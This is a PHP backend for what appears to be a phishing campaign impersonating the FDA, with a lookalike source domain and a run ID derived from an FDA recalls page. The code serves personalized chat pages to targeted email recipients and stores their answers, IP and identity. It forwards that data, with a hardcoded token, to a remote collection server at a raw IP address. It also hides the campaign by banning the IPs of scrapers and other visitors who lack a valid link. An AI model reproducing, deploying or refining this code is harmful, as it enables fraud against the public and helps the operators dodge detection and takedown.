<?php
/*
 * LiveChat API - Subscriber Lookup and Answer Storage
 * ====================================================
 * This file is used as a TEMPLATE by page_tool.py.
 * Edit it freely - page_tool.py will inject the subscriber database
 * and hub URL at the marked substitution points below.
 *
 * Endpoints:
 *   GET  lc_api.php?uid=XXXXX      -> returns visitor JSON or {"found":false}
 *   GET  lc_api.php?check_uid=X    -> returns {"completed":bool,"outcome":str}
 *   POST lc_api.php                -> saves chat answers + forwards to hub
 *   GET  lc_api.php?list=all       -> lists all subscriber UIDs
 *
 * Available visitor fields (from datab.txt):
 *   _email  = email address
 *   _v1     = first var (e.g. name)
 *   _v2     = second var (e.g. brand)
 *   _v3, _v4, ... etc
 *   _uid    = unique ID
 */

// Keep PHP running even if the browser closes the connection mid-request.
// navigator.sendBeacon closes the TCP connection immediately after sending,
// which would otherwise cause PHP to abort before curl_exec completes the
// forward to the central hub. Without this, NOT_DONE beacons save locally
// but never reach the VPS.
ignore_user_abort(true);
@set_time_limit(30);

header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: GET, POST, OPTIONS");
header("Access-Control-Allow-Headers: Content-Type");
header("Content-Type: application/json; charset=utf-8");

if ($_SERVER["REQUEST_METHOD"] === "OPTIONS") { http_response_code(200); exit; }

// Subscriber database (auto-injected from datab.txt)

// ── LAZY SUBSCRIBER DB (injected by page_tool.py) ──────────────────────
// Stream-reads lc_data.json to find ONE uid at a time without decoding
// the whole 4.77 MB file into memory. Works on shared hosts with 16 MB
// memory_limit where the old json_decode-everything approach 500'd.
//
// Transparent to the rest of the template: $db[$uid] and isset($db[$uid])
// work exactly as before, because LC_LazyDB implements ArrayAccess.
class LC_LazyDB implements ArrayAccess {
    private $path;
    private $cache = [];  // uid => array | null (null = confirmed absent)
    public function __construct($path) { $this->path = $path; }
    public function offsetExists($k): bool { return $this->lookup($k) !== null; }
    // NOTE: `: mixed` return type would be the "correct" declaration, but
    // `mixed` is PHP 8.0+ only. On PHP 7.4 it's parsed as a class name and
    // triggers a fatal TypeError when offsetGet is called. The
    // #[\ReturnTypeWillChange] attribute silences the PHP 8.1+ deprecation
    // notice about missing return types. PHP 7.x parses the attribute
    // syntax as a comment, making this compatible with 7.1+ through 8.x.
    #[\ReturnTypeWillChange]
    public function offsetGet($k) { return $this->lookup($k); }
    public function offsetSet($k, $v): void {}
    public function offsetUnset($k): void {}
    private function lookup($uid) {
        if (!is_string($uid) && !is_int($uid)) return null;
        $uid = (string)$uid;
        if (array_key_exists($uid, $this->cache)) return $this->cache[$uid];
        // Sanitize — must match _lc_clean_uid's character class so we
        // can't be tricked into searching for arbitrary strings via
        // user-controlled input. Only safe chars make it to fopen.
        $safe = preg_replace('/[^a-zA-Z0-9._-]/', '', $uid);
        if ($safe === "" || $safe !== $uid) { $this->cache[$uid] = null; return null; }
        $rec = $this->find_in_file($safe);
        $this->cache[$uid] = $rec;
        return $rec;
    }
    private function find_in_file($uid) {
        if (!is_file($this->path)) return null;
        $needle = '"' . $uid . '":';
        $fp = @fopen($this->path, 'r');
        if (!$fp) return null;
        $chunk_size = 8192;
        $overlap = strlen($needle) + 1024;
        $buf = "";
        $found_pos = -1;
        while (!feof($fp)) {
            $buf .= fread($fp, $chunk_size);
            $p = strpos($buf, $needle);
            if ($p !== false) { $found_pos = $p; break; }
            if (strlen($buf) > $overlap) { $buf = substr($buf, -$overlap); }
        }
        if ($found_pos === -1) { fclose($fp); return null; }
        $start = $found_pos + strlen($needle);
        while (strlen($buf) < $start + 10 && !feof($fp)) {
            $buf .= fread($fp, $chunk_size);
        }
        $obrace = strpos($buf, '{', $start);
        if ($obrace === false) { fclose($fp); return null; }
        $depth = 0; $i = $obrace; $in_string = false; $escape = false; $end = -1;
        while (true) {
            while ($i >= strlen($buf) - 1 && !feof($fp)) {
                $buf .= fread($fp, $chunk_size);
            }
            if ($i >= strlen($buf)) break;
            $c = $buf[$i];
            if ($escape) { $escape = false; $i++; continue; }
            if ($in_string) {
                if ($c === '\\') { $escape = true; }
                elseif ($c === '"') { $in_string = false; }
            } else {
                if ($c === '"') { $in_string = true; }
                elseif ($c === '{') { $depth++; }
                elseif ($c === '}') { $depth--; if ($depth === 0) { $end = $i; break; } }
            }
            $i++;
        }
        fclose($fp);
        if ($end === -1) return null;
        $obj_json = substr($buf, $obrace, $end - $obrace + 1);
        $rec = json_decode($obj_json, true);
        return is_array($rec) ? $rec : null;
    }
}
$db = new LC_LazyDB(__DIR__ . "/lc_data.json");

// ═══════════════════════════════════════════════════════════════════════════
//  ROUTING-AWARE UID HANDLING (injected by page_tool.py)
// ═══════════════════════════════════════════════════════════════════════════
// When a subscriber lands on the WRONG cPanel (their uid lives in a sibling
// cPanel's chunk), we want to redirect them rather than ban them. The uid
// IS known to the campaign — just not to this specific cPanel's DB.
//
// uid_routing.json sits next to lc_api.php (written by page_tool.py during
// deploy) and maps every uid to its home cPanel domain.
//
// MEMORY NOTE: the old implementation called json_decode() on the entire
// file. At 100k uids that produces a ~15 MB PHP hash table, which OOMs
// on shared hosts with 16 MB memory_limit (gamma.filmgraphics.co.za
// observed). The new implementation streams the file looking for the
// exact uid key and extracts only its value string. Peak memory: ~2 MB.
function _lc_route_owner($uid) {
    // Sanitize first — must match _lc_clean_uid's character class so we
    // can't be tricked into searching for arbitrary strings via user input.
    $safe = preg_replace('/[^a-zA-Z0-9._-]/', '', (string)$uid);
    if ($safe === "" || $safe !== (string)$uid) return null;

    // Per-request cache — if two handlers check the same uid, we hit disk once.
    static $cache = [];
    if (array_key_exists($safe, $cache)) return $cache[$safe];

    $fp_path = __DIR__ . "/uid_routing.json";
    if (!is_file($fp_path)) { $cache[$safe] = null; return null; }
    $fp = @fopen($fp_path, "r");
    if (!$fp) { $cache[$safe] = null; return null; }

    $needle = '"' . $safe . '":';
    $chunk_size = 8192;
    $overlap = strlen($needle) + 512;
    $buf = "";
    $found_pos = -1;
    while (!feof($fp)) {
        $buf .= fread($fp, $chunk_size);
        $p = strpos($buf, $needle);
        if ($p !== false) { $found_pos = $p; break; }
        if (strlen($buf) > $overlap) { $buf = substr($buf, -$overlap); }
    }
    if ($found_pos === -1) { fclose($fp); $cache[$safe] = null; return null; }

    // Read after the colon. The value is a JSON string: "domain.com"
    // Ensure we have enough buffered to find the opening quote and matching close.
    $start = $found_pos + strlen($needle);
    while (strlen($buf) < $start + 512 && !feof($fp)) {
        $buf .= fread($fp, $chunk_size);
    }
    // Skip whitespace
    $i = $start;
    while ($i < strlen($buf) && ($buf[$i] === ' ' || $buf[$i] === "\t" || $buf[$i] === "\n" || $buf[$i] === "\r")) { $i++; }
    if ($i >= strlen($buf) || $buf[$i] !== '"') { fclose($fp); $cache[$safe] = null; return null; }
    $val_start = $i + 1;
    // Scan until unescaped closing quote
    $i = $val_start; $escape = false; $val_end = -1;
    while ($i < strlen($buf) || !feof($fp)) {
        if ($i >= strlen($buf) && !feof($fp)) { $buf .= fread($fp, $chunk_size); }
        if ($i >= strlen($buf)) break;
        $c = $buf[$i];
        if ($escape) { $escape = false; $i++; continue; }
        if ($c === '\\') { $escape = true; $i++; continue; }
        if ($c === '"') { $val_end = $i; break; }
        $i++;
    }
    fclose($fp);
    if ($val_end === -1) { $cache[$safe] = null; return null; }
    $owner = substr($buf, $val_start, $val_end - $val_start);
    // Unescape JSON string (only handle common escapes — domains rarely need this)
    $owner = str_replace(['\\"', '\\\\', '\\/'], ['"', '\\', '/'], $owner);
    $cache[$safe] = $owner;
    return $owner;
}
// ═══════════════════════════════════════════════════════════════════════════


// Note: is_array($db) now returns false, but no template code uses that
// check — everything uses isset($db[$uid]) and $db[$uid], which work
// transparently through ArrayAccess.


// ═══════════════════════════════════════════════════════════════════════════
//  IP BAN ENFORCEMENT + AUTO-BAN ON BAD UIDS
// ═══════════════════════════════════════════════════════════════════════════
// The VPS hosts a universal IP ban list at /bans.php. All lc_api.php files
// across all cPanels check against it, so a ban added anywhere applies
// everywhere until an admin clicks "Clean Bans" on the dashboard.
//
// Policy (per user spec):
//   - Visitors with a valid uid (present in $db) → welcome, no ban
//   - Visitors with NO uid or a uid NOT in $db → banned immediately, IP
//     added to the VPS ban list, and a rejected-ping forwarded to hub.php
//     so the attempt shows up in the dashboard live panel
//   - Once banned, every subsequent request from the same IP to any
//     lc_api.php returns {"banned":true} and the widget JS blanks the page
//
// These constants are baked in at build time by page_tool.py alongside
// HUB_URL and DATAB_JSON. We reuse the ingest_secret token (extracted from
// HUB_URL) so there's no new config to manage.
$LC_BANS_URL = "https://86.109.75.165/bans.php?token=225fb3a930d7027eb4a77254c8122b76a5fe50979bb8e68a37d9e19d202834db";     // e.g. https://vps/bans.php?token=...
$LC_HUB_URL  = "https://86.109.75.165/hub.php?run=2026-04-23_13-21-55_www-fda-gov-safety-recalls-market-withdrawals-safety-alerts-&token=225fb3a930d7027eb4a77254c8122b76a5fe50979bb8e68a37d9e19d202834db";      // e.g. https://vps/hub.php?run=X&token=Y
$LC_RUN_ID   = "2026-04-23_13-21-55_www-fda-gov-safety-recalls-market-withdrawals-safety-alerts-";       // for ban metadata
$LC_SRC_DOM  = "federal-drug-administration.foodom.ug";

/**
 * Resolve the visitor's real IP. Inside shared hosting (cPanel behind a load
 * balancer) REMOTE_ADDR is sometimes the LB, not the client. Prefer
 * X-Forwarded-For's first entry, fall back to REMOTE_ADDR.
 */
function _lc_client_ip() {
    $xff = $_SERVER["HTTP_X_FORWARDED_FOR"] ?? "";
    if ($xff) {
        $first = trim(explode(",", $xff)[0]);
        if (filter_var($first, FILTER_VALIDATE_IP) !== false) return $first;
    }
    $cf = $_SERVER["HTTP_CF_CONNECTING_IP"] ?? "";
    if ($cf && filter_var($cf, FILTER_VALIDATE_IP) !== false) return $cf;
    return $_SERVER["REMOTE_ADDR"] ?? "";
}

/**
 * Extract the ingest_secret token from HUB_URL's query string. lc_api.php
 * already has HUB_URL baked in at build time and that URL contains the
 * token as a query param, so we can reuse it without a new placeholder.
 */
function _lc_ingest_token() {
    global $LC_HUB_URL;
    $q = parse_url($LC_HUB_URL, PHP_URL_QUERY) ?? "";
    parse_str($q, $qa);
    return $qa["token"] ?? "";
}

/**
 * Ask the VPS whether this IP is banned. Short timeout — this runs on EVERY
 * request, so a slow VPS must not brick the whole site. Fails OPEN: if the
 * VPS is unreachable we say "not banned" rather than locking everyone out.
 */
function _lc_is_banned($ip) {
    global $LC_BANS_URL;
    if (!$LC_BANS_URL || strpos($LC_BANS_URL, "%%") !== false) return false;
    if (!$ip || filter_var($ip, FILTER_VALIDATE_IP) === false) return false;
    $url = $LC_BANS_URL . (strpos($LC_BANS_URL, "?") === false ? "?" : "&")
         . "ip=" . rawurlencode($ip);
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 3);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    $out = curl_exec($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    if ($code !== 200 || !$out) return false;  // fail open
    $data = @json_decode($out, true);
    return is_array($data) && !empty($data["banned"]);
}

/**
 * Add an IP to the VPS ban list. We wait for the response (up to 3s) so the
 * ban is committed before the current request returns — that way a rapid-
 * fire attacker gets blocked on their second request, not their tenth.
 */
function _lc_ban_ip($ip, $reason, $uid_tried) {
    global $LC_BANS_URL, $LC_RUN_ID, $LC_SRC_DOM;
    if (!$LC_BANS_URL || strpos($LC_BANS_URL, "%%") !== false) return;
    if (!$ip || filter_var($ip, FILTER_VALIDATE_IP) === false) return;
    $payload = json_encode([
        "ip"            => $ip,
        "reason"        => $reason,
        "uid_tried"     => $uid_tried,
        "run_id"        => $LC_RUN_ID,
        "source_domain" => $LC_SRC_DOM,
        "user_agent"    => $_SERVER["HTTP_USER_AGENT"] ?? "",
    ]);
    $ch = curl_init($LC_BANS_URL);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
    curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 3);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_exec($ch);
    curl_close($ch);
}

/**
 * Forward a rejected bad-uid ping to hub.php so the dashboard SEES the
 * attempt. Uses a synthetic "bad_<hash>" uid so repeated attempts by the
 * same visitor merge into one dashboard row instead of flooding the table.
 *
 * Sets outcome=bad_uid which the dashboard renders in red (see
 * admin/index.php tetRender). Without this, bad-uid visits are invisible
 * — which is exactly the regression the user flagged.
 */
function _lc_forward_bad_uid($uid_tried, $reason) {
    global $LC_HUB_URL, $LC_SRC_DOM;
    if (!$LC_HUB_URL || strpos($LC_HUB_URL, "%%") !== false) return;
    $ip = _lc_client_ip();
    $sig = substr(md5($uid_tried . "|" . $ip), 0, 8);
    $synth_uid = "bad_" . $sig;
    $body = [
        "uid"             => $synth_uid,
        "outcome"         => "bad_uid",
        "rejected_reason" => $reason,
        "bad_uid_tried"   => $uid_tried,
        "source_domain"   => $LC_SRC_DOM,
        "received_at"     => date("Y-m-d H:i:s"),
        "server"          => [
            "ip"              => $ip,
            "forwarded_ip"    => $_SERVER["HTTP_X_FORWARDED_FOR"] ?? "",
            "accept_language" => $_SERVER["HTTP_ACCEPT_LANGUAGE"] ?? "",
            "received_at"     => date("Y-m-d H:i:s"),
        ],
        "device" => [
            "browser" => $_SERVER["HTTP_USER_AGENT"] ?? "",
        ],
        "fields" => [
            "email" => "(banned)",
            "name"  => "(bad uid: " . substr($uid_tried, 0, 40) . ")",
        ],
    ];
    $ch = curl_init($LC_HUB_URL);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($body));
    curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 3);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_exec($ch);
    curl_close($ch);
}

/**
 * Combined reject-and-ban: ban the IP + forward the attempt to hub, all
 * in one call. Called from the three bad-uid detection paths below.
 */
function _lc_reject_and_ban($uid_tried, $reason) {
    $ip = _lc_client_ip();
    _lc_ban_ip($ip, $reason, $uid_tried);
    _lc_forward_bad_uid($uid_tried, $reason);
    // INJECTED FIX: emit banned response + exit so the widget sees the ban
    // on the FIRST hit and redirects to lc_landing2.php. Previously this
    // function returned silently and execution fell through to a
    // {known:false} response, which made the widget render lorem-ipsum.
    http_response_code(403);
    echo json_encode([
        "banned"    => true,
        "ip"        => $ip,
        "known"     => false,
        "completed" => false,
    ]);
    exit;
}

// ── Ban enforcement gate — runs before any other logic ──
// If the visitor's IP is already banned, short-circuit every request type
// with {"banned":true}. The widget's repeat-check JS detects this (see
// build_repeat_check_js in page_tool.py) and blanks the page.
$_LC_VISITOR_IP = _lc_client_ip();
if ($_LC_VISITOR_IP && _lc_is_banned($_LC_VISITOR_IP)) {
    http_response_code(403);
    echo json_encode([
        "banned"    => true,
        "ip"        => $_LC_VISITOR_IP,
        // Mimic known:false / completed:false so older widget JS that
        // doesn't check `banned` still redirects to lc_landing2.php
        // instead of rendering lorem-ipsum content.
        "known"     => false,
        "completed" => false,
    ]);
    exit;
}
// ═══════════════════════════════════════════════════════════════════════════

// uid sanitization - allow letters, digits, dot, underscore, hyphen.
// This MUST match hub.php's regex so a uid is stored under the same name
// on both the cPanel and the VPS. Previously this stripped hyphens, causing
// "sam-poh-183" to be stored as "sampoh183" here while the VPS kept the
// hyphenated form.
function _lc_clean_uid($s) {
    $s = (string)$s;
    $s = preg_replace('/[^a-zA-Z0-9._-]/', '', $s);
    return $s;
}

// GET: Check if a uid has already SUCCESSFULLY completed the flow
// (used for the repeat-visit redirect - only "success" outcome counts as "done")
// Also returns "known": whether the uid exists in the embedded subscriber DB.
// The widget JS uses "known" to decide whether to render the chat (known uid)
// or redirect to lc_landing2.php (unknown uid — typo'd link, stale link from a
// previous run, scraper poking around). Without this check, an unknown uid
// renders the chat with no [var:name] substitution because the lookup fails,
// and visitors see lorem ipsum with EXAMPLE LOGO instead of a personalized page.
if ($_SERVER["REQUEST_METHOD"] === "GET" && isset($_GET["check_uid"])) {
    $uid = _lc_clean_uid($_GET["check_uid"]);
    $answers_file = __DIR__ . "/lc_answers/" . $uid . ".json";
    $completed = false;
    $outcome = "";
    $known = ($uid !== "" && isset($db[$uid]));
    if ($uid && file_exists($answers_file)) {
        $data = json_decode(file_get_contents($answers_file), true);
        if (is_array($data)) {
            $outcome = $data["outcome"] ?? "";
            // STRICT: only a fully qualified "success" locks the subscriber out.
            // page_view, abandoned, NOT_DONE, alternate, ended -> user gets another chance.
            if ($outcome === "success") {
                $completed = true;
            }
        }
    }
    // ── BAN HOOK: unknown uid on check_uid → ban IP + forward to hub ──
    // Per user spec: ANY visitor arriving without a valid uid gets banned.
    // check_uid is the FIRST call the widget makes on page load, so this
    // catches typos, stale links, scrapers, and direct URL fuzzing before
    // the visitor ever sees the chat widget.
    //
    // We only ban when the uid is non-empty — an empty check_uid is almost
    // always an internal test call or a broken widget, not a malicious hit.
    if ($uid !== "" && !$known) {
        // ROUTING CHECK (injected): if the uid lives on another cPanel,
        // tell the widget where to go — do NOT ban (it's a real subscriber
        // that just arrived at the wrong cPanel).
        $_route_owner = _lc_route_owner($uid);
        if ($_route_owner) {
            echo json_encode([
                "uid" => $uid,
                "completed" => false,
                "outcome" => "",
                "known" => false,
                "route_to" => $_route_owner,
            ]);
            exit;
        }
        _lc_reject_and_ban($uid, "bad_uid_on_check");
    }
    echo json_encode([
        "uid" => $uid,
        "completed" => $completed,
        "outcome" => $outcome,
        "known" => $known
    ]);
    exit;
}

// GET: Lookup visitor by UID
if ($_SERVER["REQUEST_METHOD"] === "GET" && isset($_GET["uid"])) {
    $uid = trim($_GET["uid"]);
    if (isset($db[$uid])) {
        $visitor = $db[$uid];
        $visitor["found"] = true;
        $visitor["returning"] = true;
        // Check for saved answers from previous visits
        $answers_file = __DIR__ . "/lc_answers/" . _lc_clean_uid($uid) . ".json";
        if (file_exists($answers_file)) {
            $visitor["previous_answers"] = json_decode(file_get_contents($answers_file), true);
        }
        echo json_encode($visitor);
    } else {
        // ── BAN HOOK: unknown uid on GET lookup → ban + forward ──
        // This endpoint is usually called by the widget AFTER check_uid has
        // already gated on known:false, so in practice a known:false visitor
        // never reaches here (the widget redirects them first). However,
        // scrapers and direct-curl attackers can hit this endpoint without
        // going through check_uid first. Catch them here too, using the
        // cleaned form of the uid so our records are normalized.
        $clean = _lc_clean_uid($uid);
        if ($clean !== "") {
            // ROUTING CHECK (injected): if this uid lives on a sibling cPanel,
            // return a route_to hint instead of banning.
            $_route_owner = _lc_route_owner($clean);
            if ($_route_owner) {
                echo json_encode(["found" => false, "uid" => $uid, "route_to" => $_route_owner]);
                exit;
            }
            _lc_reject_and_ban($clean, "bad_uid_on_lookup");
        }
        echo json_encode(["found" => false, "uid" => $uid]);
    }
    exit;
}

// POST: Save chat answers + forward to hub
if ($_SERVER["REQUEST_METHOD"] === "POST") {
    $input = json_decode(file_get_contents("php://input"), true);
    if (!$input) {
        http_response_code(400);
        echo json_encode(["error" => "Bad JSON"]);
        exit;
    }
    $uid = _lc_clean_uid($input["uid"] ?? "");

    // ── CLIENT-SUPPLIED anon_ REJECTION (2026-04 fix) ──
    // Only the server may generate anon_* uids (see block below). A client
    // that posts uid="anon_whatever" previously bypassed the bad-uid
    // validation gate at line ~345, because that gate skipped its check
    // on any uid starting with "anon_". Attackers could exploit this to
    // write unlimited files under chosen anon_ names (disk fill) and
    // pollute the dashboard with fake bad_uid rows.
    //
    // Fix: treat any client-supplied anon_* uid as if no uid were sent.
    // The next block below generates a server-chosen anon_ uid derived
    // from the client's IP + today's date. That uid IS trusted (we just
    // made it), so the validation gate rightfully skips it. The attacker
    // can now at most overwrite their OWN server-generated anon file
    // (one file per IP per day) instead of creating arbitrary uids.
    if (substr($uid, 0, 5) === "anon_") {
        $uid = "";
    }

    $is_server_anon = false;
    if ($uid === "") {
        $uid = "anon_" . substr(md5(($_SERVER["REMOTE_ADDR"] ?? "") . date("Ymd")), 0, 8);
        $is_server_anon = true;
    }

    // ── UID VALIDATION GATE + BAN HOOK ──
    // The dashboard displays one row per uid, so accepting any random string
    // pollutes it with garbage subscribers. Reject the POST if:
    //   (1) the uid is not server-generated anon (trusted — we made it), AND
    //   (2) the uid is not present in the embedded subscriber DB ($db).
    //
    // Per user spec (2026-04): on rejection we also BAN the visitor's IP on
    // the VPS ban list AND forward a synthetic bad-uid ping to the hub so
    // the dashboard live panel sees the attempt. This closes the "anons
    // not visible in live panel" regression — previously we dropped bad-uid
    // POSTs silently and the admin had no visibility into who was poking.
    //
    // The visitor still gets a 404 response the widget already knows how
    // to handle (redirect to lc_landing2.php), so the client-side flow is
    // unchanged. The ban side-effect catches any subsequent visit from the
    // same IP at the top-of-file gate above.
    if (!$is_server_anon && !isset($db[$uid])) {
        _lc_reject_and_ban($uid, "bad_uid_on_post");
        http_response_code(404);
        echo json_encode([
            "rejected" => true,
            "reason" => "uid_not_in_database",
            "uid" => $uid,
            "redirect" => "lc_landing2.php",
            "banned" => true
        ]);
        exit;
    }

    $dir = __DIR__ . "/lc_answers";
    if (!is_dir($dir)) { mkdir($dir, 0755, true); }
    $file = $dir . "/" . $uid . ".json";

    // Repeat-submission guard
    // Injected by page_tool.py based on the cmd prompt. When true, any POST with a
    // uid that has ALREADY POSTED a "success" outcome (qualified completion) is
    // rejected with HTTP 409. All other prior outcomes (page_view, abandoned,
    // NOT_DONE, alternate, ended) are allowed to be overwritten - those subscribers
    // get another chance to finish. Only confirmed "success" locks the record.
    $repeat_protection = true;
    $existing = null;
    if (file_exists($file)) {
        $existing = json_decode(file_get_contents($file), true);
        if (!is_array($existing)) { $existing = null; }
    }
    if ($repeat_protection && $existing) {
        $existing_outcome = $existing["outcome"] ?? "";
        if ($existing_outcome === "success") {
            http_response_code(409);
            echo json_encode([
                "rejected" => true,
                "reason" => "uid_already_completed",
                "uid" => $uid,
                "previous_outcome" => $existing_outcome,
                "message" => "This subscriber has already completed the flow successfully."
            ]);
            exit;
        }
        // else: existing record is page_view / abandoned / NOT_DONE / alternate /
        // ended - let this new POST overwrite it. The subscriber didn't fully
        // qualify last time and is allowed to try again.
    }

    // Enrich with server-side data
    $input["server"] = [
        "ip" => $_SERVER["REMOTE_ADDR"] ?? "",
        "forwarded_ip" => $_SERVER["HTTP_X_FORWARDED_FOR"] ?? "",
        "accept_language" => $_SERVER["HTTP_ACCEPT_LANGUAGE"] ?? "",
        "received_at" => date("Y-m-d H:i:s")
    ];

    // Stamp the cPanel's own domain into the payload. Baked in at build time
    // by page_tool.py via the SOURCE-DOMAIN placeholder (name redacted in
    // this comment so the build-time substitution can't accidentally hit it
    // here — the code line below is the only intended substitution target).
    // The dashboard uses this to attribute every visit to a specific cPanel
    // — without it, hub.php has no reliable way to know which cPanel a POST
    // came from (Host header is the VPS, Referer can be empty/spoofed).
    // Always wins over any client-supplied source_domain to prevent spoofing.
    $input["source_domain"] = "federal-drug-administration.foodom.ug";

    // Preserve event history: if an earlier record exists for this uid (e.g.
    // a page_view), move it into events[] so the latest POST does not erase
    // what happened before. Mirrors hub.php's behavior on the VPS so the
    // cPanel file and the dashboard stay in sync.
    if ($existing) {
        $events = isset($existing["events"]) && is_array($existing["events"]) ? $existing["events"] : [];
        $old_copy = $existing;
        unset($old_copy["events"]);
        $events[] = $old_copy;
        $input["events"] = $events;
        // If the new POST does not carry an outcome, keep the old one.
        if (empty($input["outcome"]) && !empty($existing["outcome"])) {
            $input["outcome"] = $existing["outcome"];
        }
    }

    // Backfill subscriber fields from embedded DB for events that arrive
    // without them (e.g. page_view fires before the widget GET-lookups the
    // subscriber record, so the POST has uid but no email/name).
    // IMPORTANT: this runs BEFORE file_put_contents below so the persisted
    // JSON and the hub-forwarded JSON agree. Earlier versions did this
    // AFTER writing — the disk file was missing fields while the VPS
    // dashboard had them, which caused divergence when the VPS was offline
    // and the cPanel file became the source of truth on the next visit.
    if ($uid !== "" && isset($db[$uid]) && empty($input["fields"])) {
        $visitor = $db[$uid];
        $input["fields"] = [
            "email" => $visitor["_email"] ?? "",
            "name"  => $visitor["_v1"]    ?? "",
        ];
    }

    // Atomic write (write to .tmp then rename) so a crash mid-write does not
    // leave a half-written JSON file that json_decode() will choke on.
    $tmp = $file . ".tmp";
    file_put_contents($tmp, json_encode($input, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE));
    @rename($tmp, $file);

    // Forward to central hub (if configured). Injected by page_tool.py.
    $hub_url = "https://86.109.75.165/hub.php?run=2026-04-23_13-21-55_www-fda-gov-safety-recalls-market-withdrawals-safety-alerts-&token=225fb3a930d7027eb4a77254c8122b76a5fe50979bb8e68a37d9e19d202834db";
    if ($hub_url && strpos($hub_url, "%%") === false) {
        $ch = curl_init($hub_url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($input));
        curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 8);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 4);
        // Self-signed VPS cert - disable peer AND host verification.
        // Both are needed: VERIFYPEER alone still trips hostname mismatches
        // on some PHP/curl builds.
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_exec($ch);
        curl_close($ch);
    }

    echo json_encode(["saved" => true]);
    exit;
}

// Default: list all UIDs (admin)
if (isset($_GET["list"]) && $_GET["list"] === "all") {
    $uids = array_keys($db);
    echo json_encode(["count" => count($uids), "uids" => $uids]);
    exit;
}

echo json_encode(["status" => "lc_api ready", "subscribers" => count($db)]);
?>
